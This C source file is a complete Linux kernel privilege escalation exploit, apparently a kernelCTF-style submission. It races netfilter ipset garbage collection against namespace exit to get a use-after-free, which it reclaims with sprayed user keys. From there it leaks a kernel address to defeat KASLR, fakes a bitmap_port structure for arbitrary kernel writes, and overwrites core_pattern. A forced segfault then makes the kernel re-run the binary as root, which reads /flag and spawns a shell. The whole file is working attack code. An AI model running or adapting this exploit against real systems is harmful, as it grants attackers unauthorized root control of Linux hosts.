#define _GNU_SOURCE
#include <arpa/inet.h>
#include <linux/filter.h>
#include <linux/netfilter.h>
#include <linux/keyctl.h>
#include <linux/rtnetlink.h>
#include <linux/membarrier.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/ipset/ip_set.h>
#include <linux/netfilter_ipv4/ip_tables.h>

#include <stdio.h>
#include <stdlib.h>
#include <syscall.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/times.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/socket.h>

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef char i8;
typedef short i16;
typedef int i32;
typedef long long i64;

#include "netlink.h"

#define FAIL_IF(x) if ((x)) { \
    perror(#x); \
    return -1; \
}
#define PANIC_IF(x) if ((x)) { \
    perror(#x); \
    exit(errno); \
}
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))

inline static int _pin_to_cpu(int id) {
  cpu_set_t set;
  CPU_ZERO(&set);
  CPU_SET(id, &set);
  return sched_setaffinity(getpid(), sizeof(set), &set);
}

//
// offsets
//

// #define LTS_6_6_30 1
// #define COS_109_17800_218_20 1

#if LTS_6_6_30
u64 core_pattern = 0xffffffff83db4420;
u64 bitmap_port_type = 0xffffffff83eec040;
#elif COS_109_17800_218_20
u64 core_pattern = 0xffffffff839ba9e0;
u64 bitmap_port_type = 0xffffffff83afb520;
#else
#error "unknown version"
#endif

#define FOR_ALL_OFFSETS(x) do { \
    x(core_pattern); \
    x(bitmap_port_type) \
  } while(0)

//
//
//

static char target_core_pattern[] = "|/proc/%P/exe %P";

/* A generic IP set */
struct ip_set {
	/* For call_cru in destroy */
	u8 rcu[16];
	/* The name of the set */
	char name[IPSET_MAXNAMELEN];
	/* Lock protecting the set data */
	u32 lock;
	/* References to the set */
	u32 ref;
	/* References to the set for netlink events like dump,
	 * ref can be swapped out by ip_set_swap
	 */
	u32 ref_netlink;
	/* The core set type */
	struct ip_set_type *type;
	/* The type variant doing the real job */
	const struct ip_set_type_variant *variant;
	/* The actual INET family of the set */
	u8 family;
	/* The type revision */
	u8 revision;
	/* Extensions */
	u8 extensions;
	/* Create flags */
	u8 flags;
	/* Default timeout value, if enabled */
	u32 timeout;
	/* Number of elements (vs timeout) */
	u32 elements;
	/* Size of the dynamic extensions (vs timeout) */
	size_t ext_size;
	/* Element data size */
	size_t dsize;
	/* Offsets to extensions in elements */
	size_t offset[4];
	/* The type specific data */
	void *data;
};
_Static_assert(sizeof(struct ip_set) == 152, "ip_set size missmatch");

struct bitmap_port {
	unsigned long *members;	/* the set members */
	u16 first_port;		/* host byte order, included in range */
	u16 last_port;		/* host byte order, included in range */
	u32 elements;		/* number of max elements in the set */
	size_t memsize;		/* members size */
	unsigned long gc[5];	/* garbage collection */
	struct ip_set *set;	/* attached to this ip_set */
	unsigned char extensions[] /* data extensions */;
};
_Static_assert(sizeof(struct bitmap_port) == 72, "bitmap_port size missmatch");


union key_payload {
  struct ip_set ip_set;
  struct {
    u8 header[24];
    char data[];
  } key;
};

#define MAIN_CPU 0
#define HELPER_CPU 1

#define BUF_SIZE (1024*8)
u8* scratch_buf_try_trigger_bug = NULL;
u8* scratch_buf_spray_fake_set = NULL;

void* try_trigger_bug_stack = NULL;
void* spray_fake_set_stack = NULL;

#define SPRAY_ERROR 0
#define SPRAY_RETRY 1
#define SPRAY_SUCCESS 2
volatile int status_spray = SPRAY_ERROR;

#define __EVENT_SET 0
#define __EVENT_UNSET 1

#define EVENT_DEFINE(name, init) volatile int name = init
#define EVENT_WAIT(name) while (__atomic_exchange_n(&name, __EVENT_UNSET, __ATOMIC_ACQUIRE) != __EVENT_SET) { usleep(1000); }

#define EVENT_UNSET(name) __atomic_store_n(&name, __EVENT_UNSET, __ATOMIC_RELEASE)
#define EVENT_SET(name) __atomic_store_n(&name, __EVENT_SET, __ATOMIC_RELEASE)

static void msg_setup(struct nlmsghdr* msg, u16 cmd) {
  struct nfgenmsg* data = NLMSG_DATA(msg);
  msg->nlmsg_len = NLMSG_HDRLEN + sizeof(*data);
  msg->nlmsg_type = (NFNL_SUBSYS_IPSET << 8) |  cmd;
  msg->nlmsg_flags = NLM_F_REQUEST;
  msg->nlmsg_seq = 0;
  msg->nlmsg_pid = 0;

  data->nfgen_family = NFPROTO_IPV4;
  data->res_id = htons(NFNL_SUBSYS_IPSET);
}

static void ip_set_add_list_set(struct nlmsghdr* msg, const char* name, u32 gc_interval_sec, u32 cadt_flags) {
  msg_setup(msg, IPSET_CMD_CREATE);

  netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
  netlink_attr_put(msg, IPSET_ATTR_TYPENAME, "list:set", strlen("list:set") + 1);
  const u8 proto = IPSET_PROTOCOL;
  netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));
  const u8 revision = 3;
  netlink_attr_put(msg, IPSET_ATTR_REVISION, &revision, sizeof(revision));
  const u8 fam = NFPROTO_IPV4;
  netlink_attr_put(msg, IPSET_ATTR_FAMILY, &fam, sizeof(fam));

  struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

  if (gc_interval_sec) {
    const u32 timeout = htonl(3 * gc_interval_sec);
    netlink_attr_append(sd, IPSET_ATTR_TIMEOUT | NLA_F_NET_BYTEORDER, &timeout, sizeof(timeout));
  }

  if (cadt_flags) {
    cadt_flags = htonl(cadt_flags);
    netlink_attr_append(sd, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, &cadt_flags, sizeof(cadt_flags));
  }

  netlink_nest_end(msg, sd);
}

static void ip_set_add_list_set_elem(struct nlmsghdr* msg, const char* name, const char* elem, u32 timeout_sec) {
  msg_setup(msg, IPSET_CMD_ADD);

  netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
  const u8 proto = IPSET_PROTOCOL;
  netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));

  struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

  netlink_attr_append(sd, IPSET_ATTR_NAME, elem, strlen(elem) + 1);

  const u32 timeout = htonl(timeout_sec);
  netlink_attr_append(sd, IPSET_ATTR_TIMEOUT | NLA_F_NET_BYTEORDER, &timeout, sizeof(timeout));

  netlink_nest_end(msg, sd);
}

static void ip_set_add_bitmap_port(struct nlmsghdr* msg, const char* name, u16 from, u16 to, u32 cadt_flags) {
  msg_setup(msg, IPSET_CMD_CREATE);

  netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
  netlink_attr_put(msg, IPSET_ATTR_TYPENAME, "bitmap:port", strlen("bitmap:port") + 1);
  const u8 proto = IPSET_PROTOCOL;
  netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));
  const u8 revision = 3;
  netlink_attr_put(msg, IPSET_ATTR_REVISION, &revision, sizeof(revision));
  const u8 fam = NFPROTO_IPV4;
  netlink_attr_put(msg, IPSET_ATTR_FAMILY, &fam, sizeof(fam));

  struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

  from = htons(from);
  netlink_attr_append(sd, IPSET_ATTR_PORT | NLA_F_NET_BYTEORDER, &from, sizeof(from));
  to = htons(to);
  netlink_attr_append(sd, IPSET_ATTR_PORT_TO | NLA_F_NET_BYTEORDER, &to, sizeof(to));

  cadt_flags = htonl(cadt_flags);
  netlink_attr_append(sd, IPSET_ATTR_CADT_FLAGS | NLA_F_NET_BYTEORDER, &cadt_flags, sizeof(cadt_flags));

  netlink_nest_end(msg, sd);
}

static void ip_set_add_bitmap_port_elem(struct nlmsghdr* msg, const char* name, u16 port, u64 counter0, u64 counter1) {
  msg_setup(msg, IPSET_CMD_ADD);

  netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
  const u8 proto = IPSET_PROTOCOL;
  netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));

  struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

  port = htons(port);
  netlink_attr_append(sd, IPSET_ATTR_PORT | NLA_F_NET_BYTEORDER, &port, sizeof(port));

  counter0 = htobe64(counter0);
  netlink_attr_append(sd, IPSET_ATTR_BYTES | NLA_F_NET_BYTEORDER, &counter0, sizeof(counter0));
  counter1 = htobe64(counter1);
  netlink_attr_append(sd, IPSET_ATTR_PACKETS | NLA_F_NET_BYTEORDER, &counter1, sizeof(counter1));

  netlink_nest_end(msg, sd);
}

static void ip_set_del_bitmap_port_elem(struct nlmsghdr* msg, const char* name, u16 port) {
  msg_setup(msg, IPSET_CMD_DEL);

  netlink_attr_put(msg, IPSET_ATTR_SETNAME, name, strlen(name) + 1);
  const u8 proto = IPSET_PROTOCOL;
  netlink_attr_put(msg, IPSET_ATTR_PROTOCOL, &proto, sizeof(proto));

  struct nlattr* sd = netlink_nest_begin(msg, IPSET_ATTR_DATA);

  port = htons(port);
  netlink_attr_append(sd, IPSET_ATTR_PORT | NLA_F_NET_BYTEORDER, &port, sizeof(port));

  netlink_nest_end(msg, sd);
}

static int send_check(int fd, struct nlmsghdr* msg, u32 total_len) {
  if (total_len > BUF_SIZE) {
      printf("message too large: %u\n", total_len);
      abort();
  }

  FAIL_IF(__netlink_send(fd, msg, total_len) < 0);
  FAIL_IF(netlink_recv(fd, msg, BUF_SIZE) < 0);
  return netlink_errno(msg);
}

u64 get_jiffies() {
  return times(NULL) * 10;
}

typedef int key_serial_t;

inline static key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
  return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

long keyctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, option, arg2, arg3, arg4, arg5);
}

void synchronize_rcu() {
  // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot
  if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) {
    perror("membarrier()");
  }
}

#define NS_PER_JIFFIE 1000000ull

EVENT_DEFINE(trigger_bug, __EVENT_UNSET);
int try_trigger_bug(void*);

int spray_fake_set(void* arg) {
  status_spray = SPRAY_ERROR;
  int notify_fd = *(int*)arg;

  int bug_worker_pid = clone(try_trigger_bug, try_trigger_bug_stack, CLONE_NEWUSER | CLONE_NEWNET | CLONE_VM | SIGCHLD, NULL);
  FAIL_IF(bug_worker_pid < 0);

  // bug triggering is now happening concurrently. We use the time to prepare our heap spray

  FAIL_IF(unshare(CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWNS) < 0);

  union key_payload payload = {};
  const size_t payload_size = sizeof(payload.ip_set) - sizeof(payload.key.header);
  union key_payload readout = {};
  key_serial_t keys[256] = {};

  struct itimerspec it = {};
  int tfd;

  FAIL_IF((tfd = timerfd_create(CLOCK_MONOTONIC, 0)) < 0);

  memset(&payload, '?', sizeof(payload));

  // we only need to set the comment extension
  #define IPSET_EXT_COMMENT 4
  payload.ip_set.extensions = IPSET_EXT_COMMENT;

  #define IPSET_EXT_ID_COMMENT 3
  // point it to the set* member (i.e. point back to the object we sprayed)
  payload.ip_set.offset[IPSET_EXT_ID_COMMENT] = 32;

  EVENT_SET(trigger_bug);

  _pin_to_cpu(MAIN_CPU);

  // Now wait for the child to exit, signaling that ns exit is triggered and we can start the spray
  FAIL_IF(waitpid(bug_worker_pid, NULL, 0) < 0);

  struct timespec t0;
  clock_gettime(CLOCK_MONOTONIC, &t0);

  // now that the child exited, wait for a short grace period until the ns cleanup runs
  u64 tmp;
  it.it_value.tv_sec = 0;
  it.it_value.tv_nsec = 50 * NS_PER_JIFFIE;
  FAIL_IF(timerfd_settime(tfd, 0, &it, NULL) < 0);

  read(tfd, &tmp, sizeof(tmp));

  struct timespec t1;
  clock_gettime(CLOCK_MONOTONIC, &t1);

  u64 begin = get_jiffies();

  // now we spray our sets. hopefully the stars align and we a) hit the race
  // and b) reclaim the set with a newly prepared one

  do {
    // quota: 20'000
    // sizeof(ip_set) = 152
    // 20'000 / 152 = 131

    // one round of spraying, racing the exit handler
    for (int i = 0; i < 128; i++) {
      // adding a brief delay here seemed to improve race timings
      u64 _t0 = __rdtsc();
      while((__rdtsc() - _t0) < 1000) {}

      if (keys[i]) {
        FAIL_IF(keyctl(KEYCTL_UPDATE, keys[i], (unsigned long)&payload.key.data, payload_size, 0) < 0)
      } else {
        char desc[16] = {};
        snprintf(desc, sizeof(desc) - 1, "-%d", i);

        key_serial_t id = add_key("user", desc, &payload.key.data, payload_size, KEY_SPEC_PROCESS_KEYRING);
        FAIL_IF(id < 0);

        keys[i] = id;
      }
    }

    synchronize_rcu();

    // check for success
    for (int i = 0; i < 128; i++) {
      FAIL_IF(keyctl(KEYCTL_READ, keys[i], (unsigned long)&readout.key.data, payload_size, 0) < 0);

      // our payload was all '?' initially
      if (readout.ip_set.ext_size != 0x3f3f3f3f3f3f3f3f) {
        printf("race success: key = %d!\n", keys[i]);

        // now we have a somewhat stable UaF on the key
        key_serial_t k = keys[i];

        int nfd;
        FAIL_IF((nfd = netlink_open(NETLINK_NETFILTER)) < 0);

        // wait for free of k
        synchronize_rcu();

        struct nlmsghdr* msg;
        u32 total_len;

        int name_idx = 0;
        char list_set_name[12 + 4 + 1] = {
          '\1', '\1', // the name overlaps with the key.datalen member. Choose some low value > 0
          'P','P','P','P','P','P', // 6 bytes padding
          '$','$','$','$' // a unique name to monitor success
        };

        while (1) {
          // we now reclaim the key with another set object
          total_len = 0;
          msg = (void*)scratch_buf_spray_fake_set;
          bzero(scratch_buf_spray_fake_set, BUF_SIZE);

          for (int j = 0; j < 16; j++) {
            snprintf(&list_set_name[12], 4 + 1, "%04x", name_idx++);
            // we want counters to be able to prepare a fake bitmap_port structure
            // we need a range of sizeof(struct bitmap_port) / sizeof(counters) = 5 ports
            //  BUT we actually only touch the first 16 bytes so one port is enough
            //  if we run into problems we should increase the range to be sufficiently large to
            //    not flood the kmalloc-192 cache where our set is in
            ip_set_add_bitmap_port(msg, list_set_name, 9000, 9000/* + 15*/, IPSET_FLAG_WITH_COUNTERS);
            total_len += msg->nlmsg_len;
            msg = nlmsg_end(msg);
          }

          FAIL_IF(send_check(nfd, (void*)scratch_buf_spray_fake_set, total_len) != 0);

          FAIL_IF(keyctl(KEYCTL_READ, k, (unsigned long)&readout.key.data, 0x0101, 0) < 0);

          if (!strncmp("$$$$", &readout.ip_set.name[8], 4)) {
            printf("successfully reclaimed key with set object (sprayed %d sets)!\n", name_idx);
            printf("  leaked bitmap_port_type: %p\n", readout.ip_set.type);
            printf("  leaked data: %p\n", readout.ip_set.data);
            break;
          }

          if (name_idx >= 0xFFFF) {
            printf("failed to reclaim object!\n");
            abort();
          }
        }

        // apply KASLR leak
        u64 diff = (u64)readout.ip_set.type - bitmap_port_type;
        #define __x(name) { name += diff; }
        FOR_ALL_OFFSETS(__x);
        #undef __x

        // now we prepare the set to have our desired elements
        // the elements will fake another struct bitmap_port, so that we can directly
        // hijack the map->elements pointer to perform arbitrary kernel memory writes
        // We will use it to overwrite the core_pattern

        total_len = 0;
        msg = (void*)scratch_buf_spray_fake_set;
        bzero(scratch_buf_spray_fake_set, BUF_SIZE);

        strcpy(&list_set_name[8], &readout.ip_set.name[8]);
        printf("target set: %s\n", list_set_name);

        const struct bitmap_port fake = {
          .members = (void*)core_pattern,
          .first_port = 0,
          .last_port = sizeof(target_core_pattern) * 8,
          .elements = 0
        };

        // we only need the first members, so one element is enough
        const u64* counters = (void*)&fake;
        ip_set_add_bitmap_port_elem(msg, list_set_name, 9000, counters[0], counters[1]);
        total_len += msg->nlmsg_len;
        msg = nlmsg_end(msg);

        FAIL_IF(send_check(nfd, (void*)scratch_buf_spray_fake_set, total_len) != 0);

        // setup complete, free the set again.
        FAIL_IF(keyctl(KEYCTL_REVOKE, k, 0, 0, 0) < 0);

        synchronize_rcu();

        memcpy(&payload, &readout, sizeof(readout));
        // the name of the set will be the size of the payload after the key payload
        // reclaimed the set object
        strcpy(payload.ip_set.name, (void*)&payload_size);

        // we prepped data in such a way that we can "shift" it a little bit into
        // our fake bitmap structure
        payload.ip_set.data = payload.ip_set.data + sizeof(struct bitmap_port);

        // reclaim the set with another key
        while (1) {

          for (int j = 0; j < 128; j++) {
            if (j == i) {
              continue;
            }

            if (keys[j]) {
              if (keyctl(KEYCTL_UPDATE, keys[j], (unsigned long)&payload.key.data, payload_size, 0) < 0) {
                // for some reason this may fail sporadically. I presume we accidently corrupt some
                // key managment structures in that case
                perror("keyctl()");
                keys[j] = 0;
              }
            }
          }

          int failure = 0;
          for (int byte = 0; byte < sizeof(target_core_pattern) && !failure; byte++) {
            for (int bit = 0; bit < 8; bit++) {
              total_len = 0;
              msg = (void*)scratch_buf_spray_fake_set;
              bzero(scratch_buf_spray_fake_set, BUF_SIZE);

              if ((target_core_pattern[byte] >> bit) & 1) {
                // we can avoid overwriting the counters by setting them to -1
                // this way, we do not accidently corrupt any data oob of our fake bitmap type
                ip_set_add_bitmap_port_elem(msg, (void*)&payload_size, byte * 8 + bit, ~0, ~0);
              } else {
                ip_set_del_bitmap_port_elem(msg, (void*)&payload_size, byte * 8 + bit);
              }
              msg->nlmsg_flags |= NLM_F_ACK;
              total_len += msg->nlmsg_len;
              msg = nlmsg_end(msg);

              int err = send_check(nfd, (void*)scratch_buf_spray_fake_set, total_len);
              if (err == -ENOENT) {
                failure = 1;
                break;
              }

              if (err < 0 && err != -IPSET_ERR_EXIST) {
                perror("bitmap add/del elem");
                return -1;
              }
            }
          }

          if (!failure) {
            // success. if we made it this far we can likely trigger root..
            printf("spray succeeded!\n");
            FAIL_IF(write(notify_fd, "x", 1) < 0);

            while (1) {
              sleep(1000);
            }
          }

          usleep(500);
        }
      }
    }
    // no need to try for too long, the window is small
  } while (get_jiffies() - begin < 400);

  // display some stats. only useful for debugging
  struct timespec t2;
  clock_gettime(CLOCK_MONOTONIC, &t2);

  printf("child signal  : %lu.%lu\n", t0.tv_sec, t0.tv_nsec);
  printf("start spraying: %lu.%lu\n", t1.tv_sec, t1.tv_nsec);
  printf("stop spraying : %lu.%lu\n", t2.tv_sec, t2.tv_nsec);

  status_spray = SPRAY_RETRY;
  return 0;
}


int try_trigger_bug(void* arg) {
  EVENT_WAIT(trigger_bug);

  // we want to allocate sets on a known CPU.
  _pin_to_cpu(MAIN_CPU);

  int nfd;
  FAIL_IF((nfd = netlink_open(NETLINK_NETFILTER)) < 0);
  int tfd;
  FAIL_IF((tfd = timerfd_create(CLOCK_MONOTONIC, 0)) < 0);

  struct itimerspec it = {};

  u32 total_len = 0;
  struct nlmsghdr* msg = (void*)scratch_buf_try_trigger_bug;

  bzero(scratch_buf_try_trigger_bug, BUF_SIZE);
  total_len = 0;
  msg = (void*)scratch_buf_try_trigger_bug;

  char list_set_name[3] = {'!', 'A', '\0'};

  for (int j = 0; j < 10; j++) {
    list_set_name[1] = 'A' + j;
    ip_set_add_list_set(msg, list_set_name, 1, 0);
    total_len += msg->nlmsg_len;
    msg = nlmsg_end(msg);
  }

  // we need to add only one elem per set here. Problem is that multiple elements in a set
  // may easily cause double-frees which are detected by free list hardening
  for (int i = 0; i < 1; i++) {
    char name[3] = {0};
    snprintf(name, sizeof(name), "%x", i);

    ip_set_add_bitmap_port(msg, name, 9999, 9999, 0);
    total_len += msg->nlmsg_len;
    msg = nlmsg_end(msg);

    for (int j = 0; j < 10; j++) {
      list_set_name[1] = 'A' + j;
      ip_set_add_list_set_elem(msg, list_set_name, name, 1);
      total_len += msg->nlmsg_len;
      msg = nlmsg_end(msg);
    }
  }

  // the gc timers are initialized throughout a ~ 25 jiffies window
  // the timers are set to expire after 1 * 1000 jiffies
  // timer expiry is ~ 50 jiffie accurate, biased towards later timeouts
  // when the process exits, a grace period of ~ 15 jiffies elapses until
  //   the ns clean up runs (i.e. 15 jiffies after the parent receives the signal)
  // the process exit signal delivery to the parent is sub-jiffie accurate
  //
  // with all the noise, a little sub 1 sec seems to be the optimal expiry
  // if you have trouble reproducing, this is the parameter to tune
  it.it_value.tv_sec = 0;
  it.it_value.tv_nsec = 960 * NS_PER_JIFFIE;

  FAIL_IF(timerfd_settime(tfd, 0, &it, NULL) < 0);

  if (send_check(nfd, (void*)scratch_buf_try_trigger_bug, total_len) != 0) {
    perror("netlink_send()");
    return -1;
  }

  _pin_to_cpu(HELPER_CPU);

  close(nfd);

  u64 tmp;
  read(tfd, &tmp, sizeof(tmp));

  exit(0);
}

int main(int argc, char *argv[]) {
  // check if we are root
  if (!getuid()) {
    // we provided the pid of the faulting process as argument
    pid_t pid = strtoul(argv[1], NULL, 10);

    int pfd = syscall(SYS_pidfd_open, pid, 0);
    int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
    int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
    int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
    dup2(stdinfd,0);
    dup2(stdoutfd,1);
    dup2(stderrfd,2);

    char* shell[] = {
        "/bin/sh",
        "-c",
        "/bin/cat /flag && /bin/sh",
        NULL,
    };
    execve(shell[0], shell, NULL);
    return 0;
  }

  printf("Hello World!\n");

  // setup a worker which will trigger the core_pattern
  // we do this before anything else because any namespace exit after the bug
  // trigger will likely panic the kernel
  int pipefds[2] = {};
  FAIL_IF(pipe(pipefds))
  int fault_worker;
  FAIL_IF((fault_worker = fork()) < 0);
  if (!fault_worker) {
    close(pipefds[1]);

    // blocks until the spray worker will signal success
    char buf[1];
    FAIL_IF(read(pipefds[0], buf, 1) < 0);

    // trigger segfault
    asm volatile ("xor %rax, %rax; movq $0, (%rax);");

    return 0;
  }

  close(pipefds[0]);

  FAIL_IF((scratch_buf_spray_fake_set = calloc(BUF_SIZE, 1)) == NULL);
  FAIL_IF((scratch_buf_try_trigger_bug = calloc(BUF_SIZE, 1)) == NULL);

  try_trigger_bug_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  FAIL_IF(try_trigger_bug_stack == MAP_FAILED);
  try_trigger_bug_stack += 0x8000;
  spray_fake_set_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
  FAIL_IF(spray_fake_set_stack == MAP_FAILED);
  spray_fake_set_stack += 0x8000;

  // try hitting the race
  do {
    int spray_worker_pid = clone(spray_fake_set, spray_fake_set_stack, CLONE_VM | SIGCHLD, &pipefds[1]);
    FAIL_IF(spray_worker_pid < 0);

    FAIL_IF(waitpid(spray_worker_pid, NULL, 0) < 0);

  } while (status_spray == SPRAY_RETRY);

  if (status_spray == SPRAY_ERROR) {
    return -1;
  }
  return 0;
}
